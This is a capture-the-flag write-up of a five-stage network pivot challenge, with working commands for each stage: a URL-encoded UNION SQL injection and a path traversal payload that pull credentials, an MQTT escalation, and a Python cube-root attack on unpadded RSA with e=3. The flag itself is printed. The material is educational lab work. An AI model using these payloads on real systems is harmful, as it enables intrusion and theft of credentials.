# AETHER_NET | Field | Value | |-------|-------| | Category | Misc | | Difficulty | Insane | | Points | — | | Author | Eun0us | | CTF | Espilon 2026 | --- ## Description Multi-layer network pivot challenge. Five nodes, each requiring credentials extracted from the previous layer. ``` lain-terminal:1337 → alice-web:8080 → bear-iot:1883 → maxis-crypto:9443 → deus-admin:22 ``` --- ## TL;DR 5-layer pivot: terminal hints → SQLi on the web app (and path traversal) → custom MQTT escalation to get RSA parameters → RSA e=3 cube root attack to recover SSH password → SSH to deus-admin → read the flag. --- ## Tools | Tool | Purpose | |------|---------| | `nc` | Access lain-terminal and bear-iot | | `curl` | SQL injection on alice-web | | Python 3 + `gmpy2` | RSA cube root attack | | `ssh` | Final access to deus-admin | --- ## Solution ### Layer 01 — Entry Terminal ```bash nc 1337 cat notes.txt cat /var/log/network.log cat ~/.bash_history ``` `notes.txt` maps the full topology and says: > "The search function... doesn't sanitize input. The system_config table has everything." `network.log` lists all five nodes and their ports. `.bash_history` shows partial MQTT credentials and previous curl commands. > 📸 `[screenshot: notes.txt showing network topology map]` --- ### Layer 02 — Alice-Web (SQL Injection) Confirm the hint: ```bash curl http://:8080/api/status ``` Response: `"The search endpoint passes input directly to SQLite. The system_config table contains network credentials."` **UNION SQLi on `/search?q=`:** The query is `SELECT id, name, room, status FROM patients WHERE name LIKE '%%'` ```bash curl "http://:8080/search?q=%27%20UNION%20SELECT%20null%2Ckey%2Cvalue%2Cdescription%20FROM%20system_config--" ``` Decoded: `' UNION SELECT null,key,value,description FROM system_config--` Response extracts: ```json {"results": [ {"id": null, "name": "mqtt_user", "room": "operator", "status": "IoT broker username"}, {"id": null, "name": "mqtt_pass", "room": "", "status": "IoT broker password"}, {"id": null, "name": "admin_token", "room": "", "status": "24-char admin token"}, ... ]} ``` **Alternative — path traversal:** ```bash curl "http://:8080/docs?file=../../var/aether/config.json" ``` Returns the full instance config with all credentials. > 📸 `[screenshot: SQLi response returning mqtt_pass and admin_token from system_config]` --- ### Layer 03 — Bear-IoT (Custom MQTT) ```bash nc 1883 ``` ```text CONNECT operator ADMIN LIST ``` `LIST` reveals two hidden topics: - `wired/system/config` - `wired/knights/` ```text SUBSCRIBE wired/system/config ``` Response includes RSA parameters: ``` RSA Public Key: n = <512-bit decimal> e = 3 Ciphertext (hex): ``` ```text SUBSCRIBE wired/knights/ ``` Response (base64-decoded): *"e=3. No padding. The plaintext is short. Cube root gives the key."* > 📸 `[screenshot: MQTT response with RSA public key and ciphertext]` --- ### Layer 04 — RSA Cube Root Attack **Conditions for the attack:** - `n` is 512 bits - `e = 3` - Plaintext `m` ≤ 20 bytes (`m < 2^160`) - Since `m^3 < n`, modular reduction never occurs: `c = m^3` exactly - Therefore: `m = ∛c` (integer cube root) ```python import gmpy2 n = c = int("", 16) m, exact = gmpy2.iroot(c, 3) assert exact, "Cube root is not exact" deus_pass = m.to_bytes(20, 'big').rstrip(b'\x00').decode() print(f"SSH password: {deus_pass}") ``` > 📸 `[screenshot: Python script computing the cube root and printing the SSH password]` --- ### Layer 05 — SSH to Deus-Admin ```bash ssh deus@ -p 22 # password from Layer 04 cat flag.txt ``` > 📸 `[screenshot: SSH session showing the flag in flag.txt]` --- ### Key concepts - **UNION-based SQLi**: `' UNION SELECT ... FROM system_config--` exfiltrates hidden credentials - **Path traversal**: `../../var/aether/config.json` bypasses directory restriction - **Custom MQTT escalation**: `ADMIN ` unlocks hidden broker topics - **RSA e=3 cube root attack**: When `m^3 < n` (no reduction), `c = m^3` exactly — integer cube root recovers plaintext in O(log n) time --- ## Flag `ESPILON{4eth3r_n3t_d3us_4dm1n}`